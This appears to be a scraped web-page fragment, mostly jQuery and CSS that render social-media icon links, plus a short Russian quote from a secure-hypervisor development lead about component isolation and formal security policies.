2.406-.261 2.406-2.604-.001-2.78-2.111-2.752-2.111-2.752z"/><path d="M-430.984 257C-444.248 257-455 267.75-455 281.014c0 13.263 10.752 24.016 24.016 24.016 13.262 0 24.014-10.752 24.014-24.016-.001-13.263-10.754-24.014-24.014-24.014zm5.054 14.756h8.267v2.467h-8.267v-2.467zm-4.179 12.943c0 6.116-6.364 5.914-6.364 5.914h-10.428v-20.038h10.428c3.168 0 5.668 1.75 5.668 5.335s-3.057 3.813-3.057 3.813c4.031 0 3.753 4.976 3.753 4.976zm15.466-.328h-10.384c0 3.722 3.526 3.487 3.526 3.487 3.329 0 3.213-2.156 3.213-2.156h3.527c0 5.722-6.859 5.33-6.859 5.33-8.227 0-7.698-7.661-7.698-7.661s-.008-7.698 7.698-7.698c8.112.001 6.977 8.698 6.977 8.698z"/><path d="M-435.055 276.221c0-2.084-1.417-2.084-1.417-2.084H-442.306v4.471h5.472c.944 0 1.779-.304 1.779-2.387z"/></svg>'; } else { behance += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M22.4 7.5h-5.6V6.1h5.6v1.4zm-9.3 5.7c.4.6.5 1.2.5 2s-.2 1.6-.6 2.2c-.3.4-.6.8-1 1.1-.4.3-1 .6-1.6.7-.6.1-1.3.2-2 .2H2.3V5.6H9c1.7 0 2.9.5 3.6 1.5.4.6.6 1.3.6 2.1s-.2 1.5-.6 2c-.2.3-.6.6-1.1.8.7.2 1.2.7 1.6 1.2zM5.5 11h2.9c.6 0 1.1-.1 1.5-.3.4-.2.6-.6.6-1.2s-.2-1.1-.7-1.3C9.3 8.1 8.7 8 8.1 8H5.5v3zm5.2 4c0-.7-.3-1.2-.9-1.5-.3-.2-.8-.2-1.4-.2h-3V17h2.9c.6 0 1.1-.1 1.4-.2.7-.3 1-.9 1-1.8zm13.8-2.2c.1.5.1 1.1.1 2h-7.2c0 1 .4 1.7 1 2.1.4.3.9.4 1.4.4.6 0 1.1-.1 1.4-.5.2-.2.4-.4.5-.7h2.6c-.1.6-.4 1.2-1 1.8-.9 1-2.1 1.4-3.7 1.4-1.3 0-2.5-.4-3.5-1.2-1-.8-1.5-2.1-1.5-4 0-1.7.5-3 1.4-4 .9-.9 2.1-1.4 3.5-1.4.9 0 1.6.2 2.3.5.7.3 1.3.8 1.7 1.5.6.6.8 1.3 1 2.1zm-2.7.2c0-.7-.3-1.2-.7-1.6-.4-.4-.9-.5-1.5-.5-.7 0-1.2.2-1.5.6-.4.4-.6.9-.7 1.5h4.4z"/></svg>'; } behance += '</a>'; behance += '</div>'; var vimeo = ''; vimeo += '<div class="t-review-social-links\_\_item">'; vimeo += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { vimeo += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-431 256.971c13.267 0 24.023 10.755 24.023 24.023s-10.755 24.023-24.023 24.023-24.023-10.755-24.023-24.023 10.756-24.023 24.023-24.023zm-12.262 19.146l.996 1.306s2.054-1.619 2.739-.81c.685.81 3.299 10.584 4.171 12.387.761 1.581 2.862 3.672 5.166 2.179 2.302-1.493 9.959-8.03 11.329-15.749 1.369-7.717-9.213-6.1-10.335.623 2.802-1.682 4.297.683 2.863 3.362-1.431 2.676-2.739 4.421-3.424 4.421-.683 0-1.209-1.791-1.992-4.92-.81-3.236-.804-9.064-4.17-8.403-3.171.623-7.343 5.604-7.343 5.604z"/></svg>'; } else { vimeo += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M2.9 16.5l1.6 2s3.2-2.5 4.3-1.3c1.1 1.3 5.2 16.5 6.5 19.3 1.2 2.5 4.5 5.7 8.1 3.4S39 27.4 41.1 15.3s-14.4-9.5-16.1 1c4.4-2.6 6.7 1.1 4.5 5.3s-4.3 6.9-5.3 6.9c-1.1 0-1.9-2.8-3.1-7.7-1.3-5.1-1.3-14.2-6.5-13.1-5.2 1-11.7 8.8-11.7 8.8z"/></svg>'; } vimeo += '</a>'; vimeo += '</div>'; var youtube = ''; youtube += '<div class="t-review-social-links\_\_item">'; youtube += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { youtube += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-431 257.013c13.248 0 23.987 10.74 23.987 23.987s-10.74 23.987-23.987 23.987-23.987-10.74-23.987-23.987 10.739-23.987 23.987-23.987zm11.815 18.08c-.25-1.337-1.363-2.335-2.642-2.458-3.054-.196-6.119-.355-9.178-.357-3.059-.002-6.113.154-9.167.347-1.284.124-2.397 1.117-2.646 2.459a40.163 40.163 0 0 0 0 11.672c.249 1.342 1.362 2.454 2.646 2.577 3.055.193 6.107.39 9.167.39 3.058 0 6.126-.172 9.178-.37 1.279-.124 2.392-1.269 2.642-2.606a39.769 39.769 0 0 0 0-11.654zm-14.591 9.342v-7.115l6.627 3.558-6.627 3.557z"/></svg>'; } else { youtube += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M43.9 15.3c-.4-3.1-2.2-5-5.3-5.3-3.6-.3-11.4-.5-15-.5-7.3 0-10.6.2-14.1.5-3.3.3-4.8 1.8-5.4 4.9-.4 2.1-.6 4.1-.6 8.9 0 4.3.2 6.9.5 9.2.4 3.1 2.5 4.8 5.7 5.1 3.6.3 10.9.5 14.4.5s11.2-.2 14.7-.6c3.1-.4 4.6-2 5.1-5.1 0 0 .5-3.3.5-9.1 0-3.3-.2-6.4-.5-8.5zM19.7 29.8V18l11.2 5.8-11.2 6z"/></svg>'; } youtube += '</a>'; youtube += '</div>'; var instagram = ''; instagram += '<div class="t-review-social-links\_\_item">'; instagram += ' <a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { instagram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 30 30" fill="' + fill + '"><path d="M15 11.014a3.986 3.986 0 1 0 .001 7.971A3.986 3.986 0 0 0 15 11.014zm0 6.592A2.604 2.604 0 0 1 12.393 15 2.604 2.604 0 0 1 15 12.394 2.614 2.614 0 0 1 17.607 15 2.604 2.604 0 0 1 15 17.606zM19.385 9.556a.915.915 0 0 0-.92.921c0 .512.407.919.92.919a.914.914 0 0 0 .921-.919.916.916 0 0 0-.921-.921z"/><path d="M15.002.15C6.798.15.149 6.797.149 15c0 8.201 6.649 14.85 14.853 14.85 8.199 0 14.85-6.648 14.85-14.85 0-8.203-6.651-14.85-14.85-14.85zm7.664 18.115c0 2.423-1.979 4.401-4.416 4.401h-6.5c-2.438 0-4.417-1.979-4.417-4.386v-6.546c0-2.422 1.978-4.4 4.417-4.4h6.5c2.438 0 4.416 1.978 4.416 4.4v6.531z"/></svg>'; } else { instagram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 25 25" fill="' + fill + '"><path d="M16.396 3.312H8.604c-2.921 0-5.292 2.371-5.292 5.273v7.846c0 2.886 2.371 5.256 5.292 5.256h7.791c2.922 0 5.292-2.37 5.292-5.274V8.586c.001-2.903-2.37-5.274-5.291-5.274zM7.722 12.5a4.778 4.778 0 1 1 9.554 0 4.778 4.778 0 0 1-9.554 0zm10.034-4.318c-.615 0-1.104-.487-1.104-1.102s.488-1.103 1.104-1.103c.614 0 1.102.488 1.102 1.103s-.488 1.102-1.102 1.102z" /><path d="M12.5 9.376A3.12 3.12 0 0 0 9.376 12.5a3.12 3.12 0 0 0 3.124 3.124 3.12 3.12 0 0 0 3.124-3.124A3.133 3.133 0 0 0 12.5 9.376z"/></svg>'; } instagram += '</a>'; instagram += '</div>'; var pinterest = ''; pinterest += '<div class="t-review-social-links\_\_item">'; pinterest += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { pinterest += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-455 257 48 48" fill="' + fill + '"><path d="M-407 281c0 13.254-10.746 24-23.999 24-13.257 0-24.003-10.746-24.003-24 0-13.256 10.746-24 24.003-24 13.253 0 23.999 10.744 23.999 24zm-30.628 14.811c.027.205.29.254.409.1.17-.223 2.365-2.932 3.111-5.639.211-.768 1.212-4.738 1.212-4.738.599 1.145 2.349 2.148 4.21 2.148 5.539 0 9.297-5.049 9.297-11.809 0-5.111-4.329-9.873-10.909-9.873-8.186 0-12.314 5.871-12.314 10.766 0 2.963 1.122 5.6 3.527 6.582.395.162.749.006.863-.43.08-.303.268-1.065.353-1.385.114-.432.07-.582-.248-.959-.694-.818-1.138-1.879-1.138-3.381 0-4.353 3.259-8.252 8.484-8.252 4.627 0 7.169 2.828 7.169 6.603 0 4.969-2.198 9.162-5.461 9.162-1.804 0-3.153-1.49-2.722-3.32.518-2.182 1.522-4.537 1.522-6.113 0-1.41-.758-2.588-2.324-2.588-1.843 0-3.323 1.908-3.323 4.461 0 1.627.55 2.727.55 2.727l-2.217 9.391c-.657 2.787-.099 6.203-.051 6.547z"/></svg>'; } else { pinterest += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M24.9 5.5c4.2 0 7.7 1.3 10.5 3.9s4.1 5.7 4.1 9.2c0 4.6-1.2 8.4-3.5 11.3-2.3 3-5.3 4.5-8.9 4.5-1.2 0-2.3-.3-3.4-.9s-1.8-1.3-2.2-2c-.9 3.5-1.4 5.6-1.6 6.3-.7 2.4-2 4.9-4.1 7.5-.2.2-.4.2-.5-.1-.5-3.5-.5-6.4.1-8.7l2.9-12.6c-.5-.9-.7-2.1-.7-3.6 0-1.7.4-3.1 1.3-4.2s1.9-1.7 3.2-1.7c1 0 1.8.3 2.3 1 .5.6.8 1.5.8 2.4 0 .6-.1 1.4-.3 2.3-.2.9-.5 1.9-.9 3.1s-.6 2.1-.8 2.8c-.3 1.2-.1 2.2.7 3.1.7.9 1.7 1.3 3 1.3 2.1 0 3.8-1.2 5.2-3.6 1.4-2.4 2-5.3 2-8.7 0-2.6-.8-4.7-2.5-6.3-1.7-1.6-4-2.4-7-2.4-3.4 0-6.1 1.1-8.2 3.2S13 17.4 13 20.4c0 1.8.5 3.3 1.5 4.5.3.4.4.8.3 1.2 0 .1-.1.3-.2.6-.1.4-.1.6-.2.7 0 .1-.1.4-.2.6-.1.3-.3.4-.4.4h-.6c-3.1-1.3-4.7-4.2-4.7-8.7 0-3.6 1.5-6.9 4.4-9.9s7-4.3 12-4.3z"/></svg>'; } pinterest += '</a>'; pinterest += '</div>'; var linkedin = ''; linkedin += '<div class="t-review-social-links\_\_item">'; linkedin += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { linkedin += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="-615 1477 48 48" fill="' + fill + '"><path d="M-566.999 1501c0 13.256-10.746 24-24 24-13.256 0-24.002-10.744-24.002-24 0-13.254 10.746-24 24.002-24 13.254 0 24 10.746 24 24zm-38.507 13.975h6.22v-20.004h-6.22v20.004zm3.11-22.739a3.606 3.606 0 0 0 0-7.211 3.603 3.603 0 0 0-3.604 3.605 3.604 3.604 0 0 0 3.604 3.606zm26.396 11.766c0-5.387-1.163-9.529-7.454-9.529-3.023 0-5.054 1.658-5.884 3.231h-.085v-2.733h-5.964v20.004h6.216v-9.896c0-2.609.493-5.137 3.729-5.137 3.186 0 3.232 2.984 3.232 5.305v9.729h6.21v-10.974z"/></svg>'; } else { linkedin += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M42.3 23.1v13.5h-7.9V24c0-3.2-1.1-5.3-4-5.3-2.2 0-3.5 1.5-4 2.9-.2.5-.3 1.2-.3 1.9v13.2h-7.9s.1-21.4 0-23.6h7.9v3.3s0 .1-.1.1h.1v-.1c1-1.6 2.9-3.9 7.1-3.9 5.2-.1 9.1 3.3 9.1 10.6zM10.1 1.6c-2.7 0-4.4 1.8-4.4 4.1S7.4 9.8 10 9.8h.1c2.7 0 4.4-1.8 4.4-4.1s-1.7-4.1-4.4-4.1zm-3.9 35H14V13H6.2v23.6z"/></svg>'; } linkedin += '</a>'; linkedin += '</div>'; var soundcloud = ''; soundcloud += '<div class="t-review-social-links\_\_item">'; soundcloud += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { soundcloud += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><defs><path id="a" d="M0 0h48v48H0V0z"/></defs><g fill-rule="evenodd"><path d="M38.206 22.171c-.635 0-1.241.129-1.793.36-.369-4.177-3.871-7.453-8.144-7.453a8.28 8.28 0 0 0-2.965.553c-.35.136-.442.275-.446.546v14.709a.545.545 0 0 0 .5.531c.013.002 12.848 0 12.848 0 2.56 0 4.634-2.051 4.634-4.611a4.634 4.634 0 0 0-4.634-4.635zM24.17 16.237a.5.5 0 0 0-.582.043.517.517 0 0 0-.189.392v.053l-.21 10.388.107 1.92.103 1.869a.514.514 0 0 0 .51.505.515.515 0 0 0 .51-.509v.004l.228-3.79-.227-10.44a.517.517 0 0 0-.25-.435zm-1.364 14.72v-.001.001-.002.002zm-.215-13.813a.47.47 0 0 0-.264-.081.486.486 0 0 0-.478.477l-.001.09-.18 9.48.181 3.847.001.016a.48.48 0 0 0 .477.458c.246 0 .248-.054.335-.14a.486.486 0 0 0 .144-.336l.02-.38.181-3.463-.201-9.573a.487.487 0 0 0-.215-.395zm-1.853 1.479a.447.447 0 0 0-.446.444l-.2 8.044.2 3.87c.005.465.2.442.446.442.245 0 .44.023.446-.444v.003l.223-3.87-.223-8.046a.447.447 0 0 0-.446-.443zm-1.577-.273a.416.416 0 0 0-.414.412l-.219 8.349.219 3.895c.005.228.187.41.414.41a.416.416 0 0 0 .413-.412v.002l.246-3.895-.246-8.35a.416.416 0 0 0-.413-.411zm-1.184 12.693v-.002.002zm0-12.5a.385.385 0 0 0-.382-.38.384.384 0 0 0-.381.38l-.238 8.567.238 3.932c.006.21.173.377.381.377a.385.385 0 0 0 .382-.378l.268-3.931-.268-8.568zm-1.935-.069a.354.354 0 0 0-.35.347l-.256 8.288.257 3.957c.006.193.16.346.35.346a.354.354 0 0 0 .349-.347v.002l.29-3.958-.29-8.288a.355.355 0 0 0-.35-.347zm-1.564.691a.322.322 0 0 0-.318.315l-.275 7.65.276 3.998a.321.321 0 0 0 .317.313c.17 0 .31-.138.317-.315v.002l.312-3.999-.312-7.65a.323.323 0 0 0-.317-.314zM12.974 20.6a.29.29 0 0 0-.285.282l-.295 6.226.295 4.023a.29.29 0 0 0 .285.281.292.292 0 0 0 .285-.282v.001l.333-4.023-.333-6.226a.292.292 0 0 0-.285-.282zm-1.264 2.678a.258.258 0 0 0-.253-.248.257.257 0 0 0-.253.25l-.314 3.826.314 4.024c.008.142.117.25.253.25a.259.259 0 0 0 .253-.25l.356-4.024-.356-3.828zm0 7.851v.001zm-1.757-8.366a.226.226 0 0 0-.221.217l-.333 4.126.333 3.99c.009.124.104.217.22.217s.21-.093.221-.216l.4-3.991-.4-4.126c-.01-.123-.105-.217-.22-.217zm-1.493.142c-.1 0-.179.078-.189.185l-.351 4.015.351 3.868c.01.108.09.185.19.185.097 0 .176-.077.188-.184l.4-3.869-.4-4.015c-.012-.107-.091-.185-.189-.185zm-2.873 1.96c-.079 0-.14.06-.151.147l-.276 2.094.276 2.056c.01.086.072.147.15.147s.14-.06.152-.147l.326-2.056-.326-2.095c-.013-.086-.074-.145-.151-.145zM6.98 23.57c-.08 0-.146.064-.157.152l-.25 3.385.25 3.308c.011.088.077.152.157.152s.144-.062.156-.152l.422-3.308-.422-3.385c-.012-.09-.077-.152-.156-.152zM48 24c0 13.255-10.745 24-24 24C10.757 48 0 37.255 0 24 0 10.757 10.757 0 24 0c13.255 0 24 10.757 24 24z"/></g></svg>'; } else { soundcloud += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M1.6 24.3c-.2 0-.3.1-.3.3l-.5 6.2.5 6c0 .2.2.3.3.3.2 0 .3-.1.3-.3l.6-6-.6-6.2c0-.2-.1-.3-.3-.3zm3.3 12.6zm0-11.8c0-.2-.2-.4-.4-.4s-.4.2-.4.4l-.5 5.8.5 6.1c0 .2.2.4.4.4s.4-.2.4-.4l.5-6.1-.5-5.8zm2.7-6.2c-.3 0-.5.2-.5.5l-.4 11.5.4 6c0 .3.2.5.5.5s.5-.2.5-.5l.5-6-.5-11.6c-.1-.2-.3-.4-.5-.4zm3.8-1c0-.3-.3-.6-.6-.6s-.6.3-.6.6l-.4 13 .4 5.9c0 .3.3.6.6.6s.6-.3.6-.6l.4-5.9-.4-13zm2.7.1c-.4 0-.7.3-.7.7l-.3 12.2.3 5.9c0 .4.3.7.7.7.4 0 .7-.3.7-.7l.3-5.9-.3-12.2c0-.4-.3-.7-.7-.7zm3.7-3.6c-.1-.1-.3-.1-.4-.1-.2 0-.4.1-.5.2-.2.1-.3.4-.3.6v.1l-.3 15.7.2 2.9.2 2.8c0 .4.4.8.8.8s.8-.3.8-.8l.3-5.7-.3-15.8c-.1-.3-.3-.5-.5-.7zm22.4 9c-1 0-1.9.2-2.7.5-.6-6.3-5.9-11.3-12.3-11.3-1.6 0-3.1.3-4.5.8-.5.2-.7.4-.7.8v22.2c0 .4.3.8.8.8h19.4c3.9 0 7-3.1 7-7 0-3.7-3.1-6.8-7-6.8z"/></svg>'; } soundcloud += '</a>'; soundcloud +=' </div>'; var telegram = ''; telegram += '<div class="t-review-social-links\_\_item">'; telegram += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { telegram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 60 60" fill="' + fill + '"><path d="M30 0C13.4 0 0 13.4 0 30s13.4 30 30 30 30-13.4 30-30S46.6 0 30 0zm16.9 13.9l-6.7 31.5c-.1.6-.8.9-1.4.6l-10.3-6.9-5.5 5.2c-.5.4-1.2.2-1.4-.4L18 32.7l-9.5-3.9c-.7-.3-.7-1.5 0-1.8l37.1-14.1c.7-.2 1.4.3 1.3 1z"/><path d="M22.7 40.6l.6-5.8 16.8-16.3-20.2 13.3"/></svg>'; } else { telegram += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 60 60" fill="' + fill + '"><path d="M52.5 9L6.1 26.9c-.9.4-.9 1.8 0 2.3L18 34.1l4.4 14.1c.3.8 1.2 1 1.8.5l6.8-6.4L43.9 51c.7.4 1.6 0 1.7-.7l8.4-40c.2-.8-.7-1.6-1.5-1.3zm-28 27.7l-.7 7.3-3.6-11.2L45.5 16l-21 20.7z"/></svg>'; } telegram += '</a>'; telegram += '</div>'; if (item.indexOf('facebook') != -1) { socialWrapper.append(fb); } if (item.indexOf('twitter') != -1) { socialWrapper.append(twi); } if (item.indexOf('vk.com') != -1) { socialWrapper.append(vk); } if (item.indexOf('ok.ru') != -1) { socialWrapper.append(ok); } if (item.indexOf('behance') != -1) { socialWrapper.append(behance); } if (item.indexOf('vimeo') != -1) { socialWrapper.append(vimeo); } if (item.indexOf('youtube') != -1) { socialWrapper.append(youtube); } if (item.indexOf('instagram') != -1) { socialWrapper.append(instagram); } if (item.indexOf('pinterest') != -1) { socialWrapper.append(pinterest); } if (item.indexOf('linkedin') != -1) { socialWrapper.append(linkedin); } if (item.indexOf('soundcloud') != -1) { socialWrapper.append(soundcloud); } if (item.indexOf('telegram') != -1) { socialWrapper.append(telegram); } } $(document).ready(function() { t\_reviews\_social\_init('186736904'); });@media screen and (max-width: 640px){ .t525 .t-review-social-links\_\_wrapper { -webkit-box-pack: center; -ms-flex-pack: center; justify-content: center; }
} При вычислении вердикта нужно принимать в расчет сведения об особенностях реализации решения, о контексте, в котором выполняется операция, о целях безопасности и т. д. Для доказательства корректности взаимодействия компонентов можно вынести за скобки всю их внутреннюю активность — они изолированы, и им запрещено все, что явно не разрешено. У нас есть декларация интерфейса взаимодействия, включающая описание всего, что необходимо для понимания специфики операций. Если найти способ преобразовать эти данные в параметры моделей безопасности, появится возможность задавать формальные политики безопасности с учетом особенностей каждого конкретного решения. Александр Шадрин руководитель группы разработки (Secure Hypervisor Development) .t-review-social-links { line-height: 0px; } .t-review-social-links\_\_wrapper { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-align: center; -ms-flex-align: center; align-items: center; -ms-flex-wrap: wrap; flex-wrap: wrap; width: auto; } .t-review-social-links { margin-top: 15px; } .t-review-social-links\_\_item { padding: 0px 4px; } .t-review-social-links\_\_item svg { width: 20px; height: 20px; } .t-review-social-links\_\_wrapper\_round .t-review-social-links\_\_item svg { width: 23px; height: 23px; } .t-review-social-links\_\_item:first-child { padding-left: 0px; } @media screen and (max-width: 960px) { .t-review-social-links\_\_item { margin-bottom: 3px; } } @media screen and (max-width: 640px) { .t-review-social-links { margin-top: 13px; } .t-review-social-links\_\_item { padding: 0px 3px; } .t-review-social-links\_\_item svg { width: 17px; height: 17px; } .t-review-social-links\_\_wrapper\_round .t-review-social-links\_\_item svg { width: 20px; height: 20px; } } function t\_reviews\_social\_init(recid){ var rec = $('#rec' + recid); var social = rec.find('.t-review-social-links'); if (social !== 'undefined' && social.length > 0) { social.each(function() { var $this = $(this); var socialAttr = $this.attr('data-social-links'); var socialWrapper = $this.find('.t-review-social-links\_\_wrapper'); var links; $this.removeAttr('data-social-links'); if (typeof socialAttr !== 'undefined') { links = socialAttr.split(','); links.forEach(function(item) { t\_reviews\_social\_add\_item(item, socialWrapper); }); } }); } } function t\_reviews\_social\_add\_item(item, socialWrapper) { var fill = socialWrapper.attr('data-social-color') || '#000000'; var fb = ''; fb = '<div class="t-review-social-links\_\_item">'; fb += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { fb += '<svg class="t-review-social-links\_\_svg" version="1.1" id="Layer\_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="30px" height="30px" viewBox="0 0 48 48" enable-background="new 0 0 48 48" xml:space="preserve" fill="' + fill + '"><desc>Facebook</desc><path d="M47.761,24c0,13.121-10.638,23.76-23.758,23.76C10.877,47.76,0.239,37.121,0.239,24c0-13.124,10.638-23.76,23.764-23.76C37.123,0.24,47.761,10.876,47.761,24 M20.033,38.85H26.2V24.01h4.163l0.539-5.242H26.2v-3.083c0-1.156,0.769-1.427,1.308-1.427h3.318V9.168L26.258,9.15c-5.072,0-6.225,3.796-6.225,6.224v3.394H17.1v5.242h2.933V38.85z"></path></svg>'; } else { fb += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M21.1 7.8C22.5 6.5 24.5 6 26.4 6h6v6.3h-3.9c-.8-.1-1.6.6-1.8 1.4v4.2h5.7c-.1 2-.4 4.1-.7 6.1h-5v18h-7.4V24h-3.6v-6h3.6v-5.9c.1-1.7.7-3.3 1.8-4.3z"/></svg>'; } fb += '</a>'; fb += '</div>'; var twi = ''; twi += '<div class="t-review-social-links\_\_item">'; twi += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { twi += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><path d="M47.762 24c0 13.121-10.639 23.76-23.761 23.76S.24 37.121.24 24C.24 10.876 10.879.24 24.001.24S47.762 10.876 47.762 24m-9.731-11.625a12.148 12.148 0 0 1-3.87 1.481 6.08 6.08 0 0 0-4.455-1.926 6.095 6.095 0 0 0-6.093 6.095c0 .478.054.941.156 1.388a17.302 17.302 0 0 1-12.559-6.367 6.066 6.066 0 0 0-.825 3.064 6.088 6.088 0 0 0 2.711 5.07 6.075 6.075 0 0 1-2.761-.762v.077c0 2.951 2.1 5.414 4.889 5.975a6.079 6.079 0 0 1-2.752.106 6.104 6.104 0 0 0 5.692 4.232 12.226 12.226 0 0 1-7.567 2.607c-.492 0-.977-.027-1.453-.084a17.241 17.241 0 0 0 9.34 2.736c11.209 0 17.337-9.283 17.337-17.337 0-.263-.004-.527-.017-.789a12.358 12.358 0 0 0 3.039-3.152 12.138 12.138 0 0 1-3.498.958 6.089 6.089 0 0 0 2.686-3.372"/></svg>'; } else { twi += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M41.8 12.7c-1.3.6-2.8 1-4.2 1.1 1.5-1 2.6-2.3 3.2-4-1.5.8-2.9 1.5-4.7 1.8-1.3-1.5-3.2-2.3-5.3-2.3-4 0-7.3 3.2-7.3 7.3 0 .6 0 1.1.2 1.6-6-.3-11.3-3.2-15.1-7.6-.6 1.1-1 2.3-1 3.7 0 2.6 1.3 4.7 3.2 6-1.1 0-2.3-.3-3.2-1v.2c0 3.6 2.4 6.5 5.8 7.1-.6.2-1.3.3-1.9.3-.5 0-1 0-1.3-.2 1 2.9 3.6 5 6.8 5-2.4 1.9-5.7 3.1-9.1 3.1-.6 0-1.1 0-1.8-.2 3.2 2.1 7 3.2 11.2 3.2 13.4 0 20.7-11 20.7-20.7v-1c1.7-.7 2.8-2 3.8-3.4z"/></svg>'; } twi += '</a>'; twi += '</div>'; var vk = ''; vk += '<div class="t-review-social-links\_\_item">'; vk += '<a href="' + item + '" target="\_blank">'; if (socialWrapper.hasClass('t-review-social-links\_\_wrapper\_round')) { vk += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="30" height="30" viewBox="0 0 48 48" fill="' + fill + '"><path d="M47.761 24c0 13.121-10.639 23.76-23.76 23.76C10.878 47.76.239 37.121.239 24 .239 10.877 10.878.24 24.001.24c13.121 0 23.76 10.637 23.76 23.76m-12.502 4.999c-2.621-2.433-2.271-2.041.89-6.25 1.923-2.562 2.696-4.126 2.45-4.796-.227-.639-1.64-.469-1.64-.469l-4.71.029s-.351-.048-.609.106c-.249.151-.414.505-.414.505s-.742 1.982-1.734 3.669c-2.094 3.559-2.935 3.747-3.277 3.524-.796-.516-.597-2.068-.597-3.171 0-3.449.522-4.887-1.02-5.259-.511-.124-.887-.205-2.195-.219-1.678-.016-3.101.007-3.904.398-.536.263-.949.847-.697.88.31.041 1.016.192 1.388.699.484.656.464 2.131.464 2.131s.282 4.056-.646 4.561c-.632.347-1.503-.36-3.37-3.588-.958-1.652-1.68-3.481-1.68-3.481s-.14-.344-.392-.527c-.299-.222-.722-.298-.722-.298l-4.469.018s-.674-.003-.919.289c-.219.259-.018.752-.018.752s3.499 8.104 7.573 12.23c3.638 3.784 7.764 3.36 7.764 3.36h1.867s.566.113.854-.189c.265-.288.256-.646.256-.646s-.034-2.512 1.129-2.883c1.15-.36 2.624 2.429 4.188 3.497 1.182.812 2.079.633 2.079.633l4.181-.056s2.186-.136 1.149-1.858c-.197-.139-.715-1.269-3.219-3.591"/></svg>'; } else { vk += '<svg class="t-review-social-links\_\_svg" xmlns="http://www.w3.org/2000/svg" width="25" height="25" viewBox="0 0 48 48" fill="' + fill + '"><path d="M41.2 22.2c.6-.8 1.1-1.5 1.5-2 2.7-3.5 3.8-5.8 3.5-6.8l-.2-.2c-.1-.1-.3-.3-.7-.4-.4-.1-.9-.1-1.5-.1h-7.2c-.2 0-.3 0-.3.1 0 0-.1 0-.1.1v.1c-.1 0-.2.1-.3.2-.1.1-.2.2-.2.4-.7 1.9-1.5 3.6-2.5 5.2-.6 1-1.1 1.8-1.6 2.5s-.9 1.2-1.2 1.5c-.3.3-.6.6-.9.8-.2.3-.4.4-.5.4-.1 0-.3-.1-.4-.1-.2-.1-.4-.3-.5-.6-.1-.2-.2-.5-.3-.9 0-.4-.1-.7-.1-.9v-4c0-.7 0-1.2.1-1.6v-1.3c0-.4 0-.8-.1-1.1-.1-.3-.1-.5-.2-.7-.1-.2-.3-.4-.5-.6-.2-.1-.5-.2-.8-.3-.8-.2-1.9-.3-3.1-.3-2.9 0-4.7.2-5.5.6-.3.2-.6.4-.9.7-.3.3-.3.5-.1.6.9.1 1.6.5 2 1l.1.3c.1.2.2.6.3 1.1.1.5.2 1.1.2 1.7.1 1.1.1 2.1 0 2.9-.1.8-.1 1.4-.2 1.9-.1.4-.2.8-.3 1.1-.1.3-.2.4-.3.5 0 .1-.1.1-.1.1-.1-.1-.4-.1-.6-.1-.2 